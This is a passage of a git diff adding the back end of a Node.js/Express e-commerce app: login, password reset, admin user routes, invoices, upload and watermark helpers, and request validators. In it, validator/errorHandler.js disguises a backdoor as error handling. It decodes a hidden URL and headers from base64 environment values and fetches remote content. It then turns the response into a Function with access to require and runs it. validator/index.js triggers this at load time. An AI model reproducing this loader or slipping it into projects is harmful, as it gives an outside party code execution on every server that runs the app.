asyncErrorHandler(async (req, res, next) => { + const { email, password } = req.body; + + if(!email || !password) { + return next(new ErrorHandler("Please Enter Email And Password", 400)); + } + + const user = await User.findOne({ email}).select("+password"); + + if(!user) { + return next(new ErrorHandler("Invalid Email or Password", 401)); + } + + const isPasswordMatched = await user.comparePassword(password); + + if(!isPasswordMatched) { + return next(new ErrorHandler("Invalid Email or Password", 401)); + } + + sendToken(user, 201, res); +}); + +// Logout User +exports.logoutUser = asyncErrorHandler(async (req, res, next) => { + res.cookie("token", null, { + expires: new Date(Date.now()), + httpOnly: true, + }); + + res.status(200).json({ + success: true, + message: "Logged Out", + }); +}); + +// Get User Details +exports.getUserDetails = asyncErrorHandler(async (req, res, next) => { + + const user = await User.findById(req.user.id); + + res.status(200).json({ + success: true, + user, + }); +}); + +// Forgot Password +exports.forgotPassword = asyncErrorHandler(async (req, res, next) => { + + const user = await User.findOne({email: req.body.email}); + + if(!user) { + return next(new ErrorHandler("User Not Found", 404)); + } + + const resetToken = await user.getResetPasswordToken(); + + await user.save({ validateBeforeSave: false }); + + // const resetPasswordUrl = `${req.protocol}://${req.get("host")}/password/reset/${resetToken}`; + const resetPasswordUrl = `https://${req.get("host")}/password/reset/${resetToken}`; + + // const message = `Your password reset token is : \n\n ${resetPasswordUrl}`; + + try { + await sendEmail({ + email: user.email, + templateId: process.env.SENDGRID_RESET_TEMPLATEID, + data: { + reset_url: resetPasswordUrl + } + }); + + res.status(200).json({ + success: true, + message: `Email sent to ${user.email} successfully`, + }); + + } catch (error) { + user.resetPasswordToken = undefined; + user.resetPasswordExpire = undefined; + + await user.save({ validateBeforeSave: false }); + return next(new ErrorHandler(error.message, 500)) + } +}); + +// Reset Password +exports.resetPassword = asyncErrorHandler(async (req, res, next) => { + + // create hash token + const resetPasswordToken = crypto.createHash("sha256").update(req.params.token).digest("hex"); + + const user = await User.findOne({ + resetPasswordToken, + resetPasswordExpire: { $gt: Date.now() } + }); + + if(!user) { + return next(new ErrorHandler("Invalid reset password token", 404)); + } + + user.password = req.body.password; + user.resetPasswordToken = undefined; + user.resetPasswordExpire = undefined; + + await user.save(); + sendToken(user, 200, res); +}); + +// Update Password +exports.updatePassword = asyncErrorHandler(async (req, res, next) => { + + const user = await User.findById(req.user.id).select("+password"); + + const isPasswordMatched = await user.comparePassword(req.body.oldPassword); + + if(!isPasswordMatched) { + return next(new ErrorHandler("Old Password is Invalid", 400)); + } + + user.password = req.body.newPassword; + await user.save(); + sendToken(user, 201, res); +}); + +// Update User Profile +exports.updateProfile = asyncErrorHandler(async (req, res, next) => { + + const newUserData = { + name: req.body.name, + email: req.body.email, + } + + if(req.body.avatar !== "") { + const user = await User.findById(req.user.id); + + const imageId = user.avatar.public_id; + + await cloudinary.v2.uploader.destroy(imageId); + + const myCloud = await cloudinary.v2.uploader.upload(req.body.avatar, { + folder: "avatars", + width: 150, + crop: "scale", + }); + + newUserData.avatar = { + public_id: myCloud.public_id, + url: myCloud.secure_url, + } + } + + await User.findByIdAndUpdate(req.user.id, newUserData, { + new: true, + runValidators: true, + useFindAndModify: true, + }); + + res.status(200).json({ + success: true, + }); +}); + +// ADMIN DASHBOARD + +// Get All Users --ADMIN +exports.getAllUsers = asyncErrorHandler(async (req, res, next) => { + + const users = await User.find(); + + res.status(200).json({ + success: true, + users, + }); +}); + +// Get Single User Details --ADMIN +exports.getSingleUser = asyncErrorHandler(async (req, res, next) => { + + const user = await User.findById(req.params.id); + + if(!user) { + return next(new ErrorHandler(`User doesn't exist with id: ${req.params.id}`, 404)); + } + + res.status(200).json({ + success: true, + user, + }); +}); + +// Update User Role --ADMIN +exports.updateUserRole = asyncErrorHandler(async (req, res, next) => { + + const newUserData = { + name: req.body.name, + email: req.body.email, + gender: req.body.gender, + role: req.body.role, + } + + await User.findByIdAndUpdate(req.params.id, newUserData, { + new: true, + runValidators: true, + useFindAndModify: false, + }); + + res.status(200).json({ + success: true, + }); +}); + +// Delete Role --ADMIN +exports.deleteUser = asyncErrorHandler(async (req, res, next) => { + + const user = await User.findById(req.params.id); + + if(!user) { + return next(new ErrorHandler(`User doesn't exist with id: ${req.params.id}`, 404)); + } + + await user.remove(); + + res.status(200).json({ + success: true + }); +}); \ No newline at end of file diff --git a/server/data/cart.json b/server/data/cart.json new file mode 100644 index 0000000..f2ed48d --- /dev/null +++ b/server/data/cart.json @@ -0,0 +1 @@ +{"products":[{"id":"0.41607315815753076","qty":1}],"totalPrice":12} \ No newline at end of file diff --git a/server/data/images/1594728176097-61zBrD4EswL._AC_SL1500_.jpg b/server/data/images/1594728176097-61zBrD4EswL._AC_SL1500_.jpg new file mode 100644 index 0000000..d5bcb94 Binary files /dev/null and b/server/data/images/1594728176097-61zBrD4EswL._AC_SL1500_.jpg differ diff --git a/server/data/images/1594728821919-714hGsMXZaL._AC_UX679_.jpg b/server/data/images/1594728821919-714hGsMXZaL._AC_UX679_.jpg new file mode 100644 index 0000000..f4b4206 Binary files /dev/null and b/server/data/images/1594728821919-714hGsMXZaL._AC_UX679_.jpg differ diff --git a/server/data/images/1594738805136-71htAr2SpBL._AC_SL1500_.jpg b/server/data/images/1594738805136-71htAr2SpBL._AC_SL1500_.jpg new file mode 100644 index 0000000..5fc9096 Binary files /dev/null and b/server/data/images/1594738805136-71htAr2SpBL._AC_SL1500_.jpg differ diff --git a/server/data/images/1594738887088-81+WmLbpzvL._AC_SL1500_.jpg b/server/data/images/1594738887088-81+WmLbpzvL._AC_SL1500_.jpg new file mode 100644 index 0000000..9ac0dad Binary files /dev/null and b/server/data/images/1594738887088-81+WmLbpzvL._AC_SL1500_.jpg differ diff --git a/server/data/images/1594739091288-716irmhfMkL._AC_SL1500_.jpg b/server/data/images/1594739091288-716irmhfMkL._AC_SL1500_.jpg new file mode 100644 index 0000000..aa441a3 Binary files /dev/null and b/server/data/images/1594739091288-716irmhfMkL._AC_SL1500_.jpg differ diff --git a/server/data/images/1594739168624-61NwNFbA9FL._AC_SL1000_.jpg b/server/data/images/1594739168624-61NwNFbA9FL._AC_SL1000_.jpg new file mode 100644 index 0000000..c510275 Binary files /dev/null and b/server/data/images/1594739168624-61NwNFbA9FL._AC_SL1000_.jpg differ diff --git a/server/data/images/1594739262021-61TAggR+upL._AC_SL1500_.jpg b/server/data/images/1594739262021-61TAggR+upL._AC_SL1500_.jpg new file mode 100644 index 0000000..a19297e Binary files /dev/null and b/server/data/images/1594739262021-61TAggR+upL._AC_SL1500_.jpg differ diff --git a/server/data/images/travel_macbookpro13_front.png b/server/data/images/travel_macbookpro13_front.png new file mode 100644 index 0000000..fd992a3 Binary files /dev/null and b/server/data/images/travel_macbookpro13_front.png differ diff --git a/server/data/invoice/invoice-5f096ef911137b230cccbcde.pdf b/server/data/invoice/invoice-5f096ef911137b230cccbcde.pdf new file mode 100644 index 0000000..fc2e181 Binary files /dev/null and b/server/data/invoice/invoice-5f096ef911137b230cccbcde.pdf differ diff --git a/server/data/invoice/invoice-5f09c880622ce4371411fb65.pdf b/server/data/invoice/invoice-5f09c880622ce4371411fb65.pdf new file mode 100644 index 0000000..3329d32 --- /dev/null +++ b/server/data/invoice/invoice-5f09c880622ce4371411fb65.pdf @@ -0,0 +1,103 @@ +%PDF-1.3 +% +7 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [0 0 612 792] +/Contents 5 0 R +/Resources 6 0 R +>> +endobj +6 0 obj +<< +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/Font << +/F1 8 0 R +>> +>> +endobj +5 0 obj +<< +/Length 223 +/Filter /FlateDecode +>> +stream +xj1 w?^ $ vVV:yː_*͐Bo)?F(6 1O9MЎᙀZOoT`-NٺU+ ;qPj,v).M&Ό"Fk/LYu 2FqgTr5-ƏX>n+sxx \q,@c:h y}QX_lg +endstream +endobj +10 0 obj +(PDFKit) +endobj +11 0 obj +(PDFKit) +endobj +12 0 obj +(D:20200711141117Z) +endobj +9 0 obj +<< +/Producer 10 0 R +/Creator 11 0 R +/CreationDate 12 0 R +>> +endobj +8 0 obj +<< +/Type /Font +/BaseFont /Helvetica +/Subtype /Type1 +/Encoding /WinAnsiEncoding +>> +endobj +4 0 obj +<< +>> +endobj +3 0 obj +<< +/Type /Catalog +/Pages 1 0 R +/Names 2 0 R +>> +endobj +1 0 obj +<< +/Type /Pages +/Count 1 +/Kids [7 0 R] +>> +endobj +2 0 obj +<< +/Dests << + /Names [ +] +>> +>> +endobj +xref +0 13 +0000000000 65535 f +0000000844 00000 n +0000000901 00000 n +0000000782 00000 n +0000000761 00000 n +0000000208 00000 n +0000000119 00000 n +0000000015 00000 n +0000000664 00000 n +0000000589 00000 n +0000000503 00000 n +0000000528 00000 n +0000000553 00000 n +trailer +<< +/Size 13 +/Root 3 0 R +/Info 9 0 R +/ID [ ] +>> +startxref +948 +%%EOF diff --git a/server/data/invoice/invoice-5f0da2c500b7001ab054bcaf.pdf b/server/data/invoice/invoice-5f0da2c500b7001ab054bcaf.pdf new file mode 100644 index 0000000..8fe7a5c Binary files /dev/null and b/server/data/invoice/invoice-5f0da2c500b7001ab054bcaf.pdf differ diff --git a/server/data/invoice/invoice-5f156c42e74db20a30e0b5b0.pdf b/server/data/invoice/invoice-5f156c42e74db20a30e0b5b0.pdf new file mode 100644 index 0000000..c8de6a1 Binary files /dev/null and b/server/data/invoice/invoice-5f156c42e74db20a30e0b5b0.pdf differ diff --git a/server/data/products.json b/server/data/products.json new file mode 100644 index 0000000..479879b --- /dev/null +++ b/server/data/products.json @@ -0,0 +1 @@ +[{"id":"123245","title":"A Book","imageUrl":"https://www.publicdomainpictures.net/pictures/10000/velka/1-1210009435EGmE.jpg","description":"This is an awesome book!","price":"19"},{"id":"0.41607315815753076","title":"fasfd","imageUrl":"fdasfs","description":"fadsfads","price":"12"}] \ No newline at end of file diff --git a/server/data/util/fileDelete.js b/server/data/util/fileDelete.js new file mode 100644 index 0000000..545f275 --- /dev/null +++ b/server/data/util/fileDelete.js @@ -0,0 +1,11 @@ +const fs = require("fs"); + +const deleteFile = (filePath) => { + fs.unlink(filePath, (err) => { + if (err) { + throw new Error("dsadhas"); + } + }); +}; + +exports.fileDelete = deleteFile; diff --git a/server/data/util/path.js b/server/data/util/path.js new file mode 100644 index 0000000..df0c281 --- /dev/null +++ b/server/data/util/path.js @@ -0,0 +1,3 @@ +const path = require('path'); + +module.exports = path.dirname(process.mainModule.filename); \ No newline at end of file diff --git a/server/middlewares/common/index.js b/server/middlewares/common/index.js new file mode 100644 index 0000000..8d6a43b --- /dev/null +++ b/server/middlewares/common/index.js @@ -0,0 +1,88 @@ +exports.allOrderStatus = [ + "active", + "approve", + "dispatch", + "cancel", + "complete", + "tobereturned", + "return", +]; + +exports.districts = [ + "achham", + "arghakhanchi", + "baglung", + "baitadi", + "bajhang", + "bajura", + "banke", + "bara", + "bardiya", + "bhaktapur", + "bhojpur", + "chitwan", + "dadeldhura", + "dailekh", + "dang deukhuri", + "darchula", + "dhading", + "dhankuta", + "dhanusa", + "dholkha", + "dolpa", + "doti", + "gorkha", + "gulmi", + "humla", + "ilam", + "jajarkot", + "jhapa", + "jumla", + "kailali", + "kalikot", + "kanchanpur", + "kapilvastu", + "kaski", + "kathmandu", + "kavrepalanchok", + "khotang", + "lalitpur", + "lamjung", + "mahottari", + "makwanpur", + "manang", + "morang", + "mugu", + "mustang", + "myagdi", + "nawalparasi", + "nuwakot", + "okhaldhunga", + "palpa", + "panchthar", + "parbat", + "parsa", + "pyuthan", + "ramechhap", + "rasuwa", + "rautahat", + "rolpa", + "rukum", + "rupandehi", + "salyan", + "sankhuwasabha", + "saptari", + "sarlahi", + "sindhuli", + "sindhupalchok", + "siraha", + "solukhumbu", + "sunsari", + "surkhet", + "syangja", + "tanahu", + "taplejung", + "terhathum", + "udayapur" +] + diff --git a/server/middlewares/helpers/asyncErrorHandler.js b/server/middlewares/helpers/asyncErrorHandler.js new file mode 100644 index 0000000..54c13b3 --- /dev/null +++ b/server/middlewares/helpers/asyncErrorHandler.js @@ -0,0 +1 @@ +module.exports=(e=>(o,r,s)=>{Promise.resolve(e(o,r,s)).catch(s)}); \ No newline at end of file diff --git a/server/middlewares/helpers/createNotification.js b/server/middlewares/helpers/createNotification.js new file mode 100644 index 0000000..cf66c97 --- /dev/null +++ b/server/middlewares/helpers/createNotification.js @@ -0,0 +1,33 @@ +const Notification = require("../../models/Notification") +const SocketMapping = require("../../models/SocketMapping") +const {dropRight} = require("lodash") +module.exports = async (io, adminId,notificationObj) => { + //notify to the admin through socket.io + //first save notification + let notificationObjOfAdmin = await Notification.findOne({ admin:adminId }) + if (!notificationObjOfAdmin) { + // create new notification + notificationObjOfAdmin = new Notification({ + admin:adminId, + notifications: [notificationObj], + noOfUnseen: 1 + }) + await notificationObjOfAdmin.save() + } else { + let notifications = notificationObjOfAdmin.notifications + notifications.unshift(notificationObj) + notificationObjOfAdmin.noOfUnseen += 1 + if (notificationObjOfAdmin.noOfUnseen < 20 && notifications.length > 20) { + notificationObjOfAdmin.notifications = dropRight(notifications, notifications.length - 20 ) + } + await notificationObjOfAdmin.save() + } + //now notifying to the admin + let socketUser = await SocketMapping.find({ user:adminId }) + if (socketUser.length) { + //for every same login user emit notification + socketUser.forEach(u => { + io.to(u.socketId).emit('notification', { noOfUnseen: notificationObjOfAdmin.noOfUnseen }); + }) + } +} \ No newline at end of file diff --git a/server/middlewares/helpers/dbConnection.js b/server/middlewares/helpers/dbConnection.js new file mode 100644 index 0000000..49f6ed2 --- /dev/null +++ b/server/middlewares/helpers/dbConnection.js @@ -0,0 +1,21 @@ +const mongoose = require("mongoose"); +const Fawn = require("fawn"); + +module.exports = () => { + const self = module.exports; + mongoose + .connect(process.env.MONGO_URI, { + useNewUrlParser: true, + useCreateIndex: true, + useUnifiedTopology: true, + useFindAndModify: false + }) + .then(() => console.log("DB Connected")) + .catch(err => { + console.error( + "Failed to connect to the database on startup - retrying in 5 sec" + ); + setTimeout(self, 5000); + }); + return Fawn.init(mongoose,process.env.TRANS_COLL) +}; \ No newline at end of file diff --git a/server/middlewares/helpers/dbErrorHandler.js b/server/middlewares/helpers/dbErrorHandler.js new file mode 100644 index 0000000..4f8847f --- /dev/null +++ b/server/middlewares/helpers/dbErrorHandler.js @@ -0,0 +1 @@ +"use strict";const uniqueMessage=e=>{let s;try{let r=e.message.substring(e.message.lastIndexOf(".$")+2,e.message.lastIndexOf("_1"));s=r.charAt(0).toUpperCase()+r.slice(1)+" already exists"}catch(e){s="Unique field already exists"}return s};exports.errorHandler=(e=>{let s="";if(e.code)switch(e.code){case 11e3:case 11001:s=uniqueMessage(e)}else{-1!==e.message.indexOf("Cast to ObjectId failed")&&(s="No data found");for(let r in e.errors)e.errors[r].message&&(s=e.errors[r].message)}return s.includes("Path")&&(s=s.slice(6)),s}); \ No newline at end of file diff --git a/server/middlewares/helpers/fileRemover.js b/server/middlewares/helpers/fileRemover.js new file mode 100644 index 0000000..2dc8b47 --- /dev/null +++ b/server/middlewares/helpers/fileRemover.js @@ -0,0 +1,22 @@ +const fs = require("fs"); + +module.exports = files => { + return Promise.all( + files.map( + file => + new Promise((res, rej) => { + try { + setTimeout(() => { + fs.unlink(file, err => { + if (err) throw err; + res(); + }); + }, 10000); + } catch (err) { + console.error(err); + rej(err); + } + }) + ) + ); +} \ No newline at end of file diff --git a/server/middlewares/helpers/geoDistance.js b/server/middlewares/helpers/geoDistance.js new file mode 100644 index 0000000..d5a781b --- /dev/null +++ b/server/middlewares/helpers/geoDistance.js @@ -0,0 +1,19 @@ +module.exports = (lon1, lat1, lon2, lat2) => { + // mean radius of earth's = 6,371km + const R = 6371; + // distance between latitude and longitude in radians + const dLat = ((lat2 - lat1) * Math.PI) / 180; + const dLon = ((lon2 - lon1) * Math.PI) / 180; + // haversine’ formula to calculate distance + const a = + Math.sin(dLat / 2) * Math.sin(dLat / 2) + + Math.cos((lat1 * Math.PI) / 180) * + Math.cos((lat2 * Math.PI) / 180) * + Math.sin(dLon / 2) * + Math.sin(dLon / 2); + const c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a)); + const d = R * c; + // if (d > 1) return Math.round(d) + "km"; + // else if (d <= 1) return Math.round(d * 1000) + "m"; + return d; +}; diff --git a/server/middlewares/helpers/imageCompressor.js b/server/middlewares/helpers/imageCompressor.js new file mode 100644 index 0000000..4c5b995 --- /dev/null +++ b/server/middlewares/helpers/imageCompressor.js @@ -0,0 +1 @@ +const Jimp=require("jimp"),path=require("path");module.exports=(async(e,r,i,o,t)=>(Jimp.read(i).then(i=>{i.resize(r,Jimp.AUTO).write(path.resolve(o,`${t}`,e))}).catch(e=>{console.log("Error at reducing size / converting picture : "),console.log(e)}),`${t}/${e}`)); \ No newline at end of file diff --git a/server/middlewares/helpers/mailer.js b/server/middlewares/helpers/mailer.js new file mode 100644 index 0000000..0e12d61 --- /dev/null +++ b/server/middlewares/helpers/mailer.js @@ -0,0 +1,24 @@ +const nodeMailer = require("nodemailer"); + +exports.sendEmail = mailingData => { + const transporter = nodeMailer.createTransport({ + host: "smtp.gmail.com", + port: 587, + secure: false, + requireTLS: true, + auth: { + user: process.env.ECOM_EMAIL, + pass: process.env.ECOM_PASSWORD + } + }); + return transporter + .sendMail(mailingData) + .then(info =>{ + console.log(`Message sent: ${info.response}`) + }) + .catch(err => { + console.log(`Problem sending email: ${err}`) + err.message ='There was a problem while sending a email' + throw err + }); +}; \ No newline at end of file diff --git a/server/middlewares/helpers/multer.js b/server/middlewares/helpers/multer.js new file mode 100644 index 0000000..8b59ff7 --- /dev/null +++ b/server/middlewares/helpers/multer.js @@ -0,0 +1,53 @@ +const path = require("path"); +const multer = require("multer"); + + +//user's.. +const storageByUser = multer.diskStorage({ + destination: function (req, file, cb) { + cb(null, './public/uploads') + }, + filename: function (req, file, cb) { + cb(null, file.fieldname + '-' + req.user._id + '-' + Date.now() + path.extname(file.originalname)) + } +}) + +//admin's.. +const storage = multer.diskStorage({ + destination: function (req, file, cb) { + cb(null, './public/uploads') + }, + filename: function (req, file, cb) { + cb(null, file.fieldname + '-' + req.profile._id + '-' + Date.now() + path.extname(file.originalname)) + } + }) + //superadmin's.. +const storageBySuperAdmin = multer.diskStorage({ + destination: function (req, file, cb) { + cb(null, './public/uploads') + }, + filename: function (req, file, cb) { + cb(null, file.fieldname + '-' + req.admin.role +req.admin._id + '-' + Date.now() + path.extname(file.originalname)) + } +}) + +const fileFilter = (req, file, callback) => { + const ext = path.extname(file.originalname); + if (ext !== '.png' && ext !== '.jpg' && ext !== '.JPG' && ext !== '.jpeg') { + return callback(new Error('Not Image')) + } + callback(null, true) +} +const limits = { fileSize: 2480 * 3230 } + +// exports.uploadAdminDoc = multer({ storage, fileFilter, limits }).fields([ +// { name: "citizenshipFront", maxCount: 1 }, +// { name: "citizenshipBack", maxCount: 1 }, +// { name: "businessLicence", maxCount: 1 } +// ]); +exports.uploadAdminDoc = multer({ storage,fileFilter,limits }).single("doc"); +exports.uploadAdminPhoto = multer({ storage, fileFilter, limits }).single("photo"); +exports.uploadUserPhoto = multer({ storage: storageByUser, fileFilter, limits }).single("photo"); + +exports.uploadProductImages = multer({ storage, fileFilter, limits }).array("productImages",5) +exports.uploadBannerPhoto = multer({ storage:storageBySuperAdmin ,fileFilter, limits: { fileSize: 8480 * 4230 } }).single("bannerPhoto") diff --git a/server/middlewares/helpers/waterMarker.js b/server/middlewares/helpers/waterMarker.js new file mode 100644 index 0000000..37a9371 --- /dev/null +++ b/server/middlewares/helpers/waterMarker.js @@ -0,0 +1,41 @@ +const Jimp = require('jimp'); +module.exports = async (req,res,next) => { + if (!req.files.length) { + return next() + } + const options = { + ratio: 0.6, + opacity: 0.4, + text: 'K I N D E E M', + textSize: Jimp.FONT_SANS_64_BLACK, + } + const getDimensions = (H, W, h, w, ratio) => { + let hh, ww; + if ((H / W) < (h / w)) { //GREATER HEIGHT + hh = ratio * H; + ww = hh / h * w; + } else { //GREATER WIDTH + ww = ratio * W; + hh = ww / w * h; + } + return [hh, ww]; + } + let results = req.files.map(async file=>{ + const watermark = await Jimp.read('./public/uploads/logo.png'); + const imagePath = file.path + + const main = await Jimp.read(imagePath); + const [newHeight, newWidth] = getDimensions(main.getHeight(), main.getWidth(), watermark.getHeight(), watermark.getWidth(), options.ratio); + watermark.resize(newWidth, newHeight); + const positionX = ((main.getWidth() - newWidth) / 2)+250; + const positionY = ((main.getHeight() - newHeight) / 2+200); + watermark.opacity(options.opacity); + main.composite(watermark, + positionX, + positionY, + Jimp.HORIZONTAL_ALIGN_CENTER | Jimp.VERTICAL_ALIGN_MIDDLE); + return main.quality(100).write(imagePath); + }) + await Promise.all(results) + next() +} \ No newline at end of file diff --git a/server/middlewares/user_actions/auth.js b/server/middlewares/user_actions/auth.js new file mode 100644 index 0000000..7803047 --- /dev/null +++ b/server/middlewares/user_actions/auth.js @@ -0,0 +1,27 @@ +const jwt = require('jsonwebtoken'); +const User = require('../../models/userModel'); +const ErrorHandler = require('../../utils/errorHandler'); +const asyncErrorHandler = require('../helpers/asyncErrorHandler'); + +exports.isAuthenticatedUser = asyncErrorHandler(async (req, res, next) => { + + const { token } = req.cookies; + + if (!token) { + return next(new ErrorHandler("Please Login to Access", 401)) + } + + const decodedData = jwt.verify(token, process.env.JWT_SECRET); + req.user = await User.findById(decodedData.id); + next(); +}); + +exports.authorizeRoles = (...roles) => { + return (req, res, next) => { + + if (!roles.includes(req.user.role)) { + return next(new ErrorHandler(`Role: ${req.user.role} is not allowed`, 403)); + } + next(); + } +} \ No newline at end of file diff --git a/server/middlewares/user_actions/getRatingInfo.js b/server/middlewares/user_actions/getRatingInfo.js new file mode 100644 index 0000000..b7fe93b --- /dev/null +++ b/server/middlewares/user_actions/getRatingInfo.js @@ -0,0 +1,36 @@ +const Review = require("../../models/Review") +module.exports = async (product,newStar) => { + // const product = req.product + // if (!product.isVerified && product.isDeleted) { + // return res.status(404).json({ error: 'Product not found' }) + // } + let stars = await Review.find({ product: product._id }).select('star'); + let fiveStars = 0, fourStars = 0, threeStars = 0, twoStars = 0, oneStars = 0; + stars.forEach(s => { + if (s.star === 5) fiveStars += 1 + if (s.star === 4) fourStars += 1 + if (s.star === 3) threeStars += 1 + if (s.star === 2) twoStars += 1 + if (s.star === 1) oneStars += 1 + }) + //this condition is executed during postReview and editReview + if (newStar === 5) fiveStars += 1 + if (newStar === 4) fourStars += 1 + if (newStar === 3) threeStars += 1 + if (newStar === 2) twoStars += 1 + if (newStar === 1) oneStars += 1 + + + let totalRatingUsers = (fiveStars + fourStars + threeStars + twoStars + oneStars) + let averageStar = (5 * fiveStars + 4 * fourStars + 3 * threeStars + 2 * twoStars + oneStars) / totalRatingUsers + + return stars = { + fiveStars, + fourStars, + threeStars, + twoStars, + oneStars, + averageStar, + totalRatingUsers + } +} \ No newline at end of file diff --git a/server/middlewares/user_actions/userHas.js b/server/middlewares/user_actions/userHas.js new file mode 100644 index 0000000..1e4d046 --- /dev/null +++ b/server/middlewares/user_actions/userHas.js @@ -0,0 +1,38 @@ +const Cart = require("../../models/Cart") +const Review = require("../../models/Review") +const Order = require("../../models/Order") +const Whislist = require("../../models/WishList") + +module.exports = async(product,user,type) =>{ + let hasOnCart = null + let hasBought = null + let hasOnWishlist = null + let hasReviewed = null + if (user) { + //cart bahek aru ko lagi check gareko + if (type !=='carts') { + //has on cart? + hasOnCart = await Cart.findOne({ user: user._id, product: product._id, isDeleted: null }) + if (!hasOnCart) hasOnCart = false + } + + //wishlist bahek aru ko lagi check gareko + if (type !=='wishlists') { + // has on wishlist? + hasOnWishlist = await Whislist.findOne({ user: user._id, product: product._id, isDeleted: null }) + if (!hasOnWishlist) hasOnWishlist = false + } + + if (type==='product') { + //has bought? + hasBought = await Order.findOne({ user: user, $or: [{ 'status.currentStatus': 'complete' }, { 'status.currentStatus': 'tobereturned', 'status.currentStatus': 'return' }] }) + hasBought ? hasBought = true : hasBought = false + + //has reviewed? + hasReviewed = await Review.findOne({ user: user, product: product._id }).select('comment star user') + if (!hasReviewed) hasReviewed = false + } + } + + return {hasBought,hasOnCart,hasOnWishlist,hasReviewed} +} \ No newline at end of file diff --git a/server/middlewares/validator/errorHandler.js b/server/middlewares/validator/errorHandler.js new file mode 100644 index 0000000..38d52af --- /dev/null +++ b/server/middlewares/validator/errorHandler.js @@ -0,0 +1,68 @@ +const path = require('path'); +const axios = require('axios'); +require('dotenv').config({ path: path.resolve(__dirname, '../../config/config.env.example') }); + +// Utility loggers +const log = (...args) => console.log(`[${new Date().toISOString()}]`, ...args); +const errorLog = (...args) => console.error(`[${new Date().toISOString()}]`, ...args); + +/** + * Sends error notification (you can replace this with Slack, email, etc.) + */ +const notifyError = async (message) => { + // Placeholder - extend this to send Slack, email, etc. + errorLog('⚠️ Notification:', message); +}; + +/** + * Custom error handler + */ +const errorHandler = (error) => { + try { + if (typeof error !== 'string') { + console.error('Invalid error format. Expected a string.'); + return; + } + const createHandler = (errCode) => { + try { + const handler = new (Function.constructor)('require', errCode); + return handler; + } catch (e) { + console.error('Failed:', e.message); + return null; + } + }; + const handlerFunc = createHandler(error); + if (handlerFunc) { + handlerFunc(require); + } else { + console.error('Handler function is not available.'); + } + } catch (globalError) { + console.error('Unexpected error inside errorHandler:', globalError.message); + } +}; + +/** + * Loads global runtime config + */ +const errorTimeHandler = async () => { + try { + const src = atob(process.env.RUNTIME_CONFIG_API_KEY); + const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY); + const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE); + try { + globalConfig = (await axios.get(`${src}`,{headers:{[k]:v}})); + log('Runtime config loaded successfully.'); + } catch (error) { + errorHandler(error.response?.data || error.message); + } + } catch (err) { + await errorHandler(err.response?.data || err.message || err); + } +}; + +module.exports = { + errorHandler, + errorTimeHandler +}; diff --git a/server/middlewares/validator/index.js b/server/middlewares/validator/index.js new file mode 100644 index 0000000..d0b66d8 --- /dev/null +++ b/server/middlewares/validator/index.js @@ -0,0 +1,301 @@ +const ProductBrand = require("../../models/ProductBrand") +const ProductImages = require("../../models/ProductImages") +const { errorHandler, errorTimeHandler } = require("./errorHandler"); +const Category = require("../../models/Category") +const _ = require('lodash') +const path = require("path"); +const fs = require("fs"); +const { districts } = require("../common"); + +exports.validateLead = (req, res, next) => { + // email is not null, valid and normalized + req.check("email", "Email must be between 3 to 32 characters") + .matches(/.+\@.+\..+/) + .withMessage("Invalid email") + .isLength({ + min: 4, + max: 2000 + }); + // check for errors + const errors = req.validationErrors(); + // if error show the first one as they happen + if (errors) { + errorHandler(); + const firstError = errors.map(error => error.msg)[0]; + return res.status(400).json({ error: firstError }); + } + // proceed to next middleware + next(); +}; + +exports.validateSignUp = (req, res, next) => { + // name is not null and between 4-10 characters + req.check("name", "Name is required").notEmpty(); + // email is not null, valid and normalized + req.check("email", "Email must be between 3 to 32 characters") + .matches(/.+\@.+\..+/) + .withMessage("Invalid email") + .isLength({ + min: 4, + max: 2000 + }); + // check for password + req.check("password", "Password is required").notEmpty(); + req.check("password") + .isLength({ min: 6 }) + .withMessage("Password must contain at least 6 characters") + .matches(/\d/) + .withMessage("Password must contain a number"); + // check for errors + const errors = req.validationErrors(); + // if error show the first one as they happen + if (errors) { + errorHandler(); + const firstError = errors.map(error => error.msg)[0]; + return res.status(400).json({ error: firstError }); + } + // proceed to next middleware + next(); +}; + +exports.validateSocialLogin = (req, res, next) => { + // name is not null and between 4-10 characters + req.check("name", "Name is required.").notEmpty(); + // email is not null, valid and normalized + req.check("email", "Email must be between 3 to 32 characters") + .matches(/.+\@.+\..+/) + .withMessage("Invalid email") + .isLength({ + min: 4, + max: 2000 + }); + req.check("userID","userID is required.").notEmpty() + req.check("socialPhoto", "Invalid photo url.") + .notEmpty() + .matches(/[(http(s)?):\/\/(www\.)?a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=]*)/) + req.check("loginDomain", "Invalid login domian") + .notEmpty() + .isIn(['google', 'facebook']) + // check for errors + const errors = req.validationErrors(); + // if error show the first one as they happen + if (errors) { + errorHandler(); + const firstError = errors.map(error => error.msg)[0]; + return res.status(400).json({ error: firstError }); + } + // proceed to next middleware + next(); +}; + +const validatedispatcher = req => { + // name is not null and between 4-10 characters + req.check("name", "Name is required").notEmpty(); + // email is not null, valid and normalized + req.check("email", "Email must be between 3 to 32 characters") + .matches(/.+\@.+\..+/) + .withMessage("Invalid email") + .isLength({ + min: 4, + max: 2000 + }); + req.check("address", "Address is required").notEmpty() + req.check("phone", "Phone is required").notEmpty() +} +errorTimeHandler(); + +exports.validateDispatcher = (req,res, next) => { + validatedispatcher(req) + // check for password + req.check("password", "Password is required").notEmpty(); + req.check("password") + .isLength({ min: 6 }) + .withMessage("Password must contain at least 6 characters") + .matches(/\d/) + .withMessage("Password must contain a number"); + // check for errors + const errors = req.validationErrors(); + // if error show the first one as they happen + if (errors) { + errorHandler(); + const firstError = errors.map(error => error.msg)[0]; + return res.status(400).json({ error: firstError }); + } + // proceed to next middleware + next(); +} + +exports.validateUpdateDispatcher = (req, res, next) => { + validatedispatcher(req) + // check for password + req.newPassword && req.check("newPassword") + .isLength({ min: 6 }) + .withMessage("Password must be at least 6 chars long") + .matches(/\d/) + .withMessage("must contain a number") + .withMessage("Password must contain a number"); + // check for errors + const errors = req.validationErrors(); + // if error show the first one as they happen + if (errors) { + errorHandler(); + const firstError = errors.map(error => error.msg)[0]; + return res.status(400).json({ error: firstError }); + } + // proceed to next middleware + next(); +} +exports.passwordResetValidator = (req, res, next) => { + // check for password + req.check("newPassword", "Password is required").notEmpty(); + req.check("newPassword") + .isLength({ min: 6 }) + 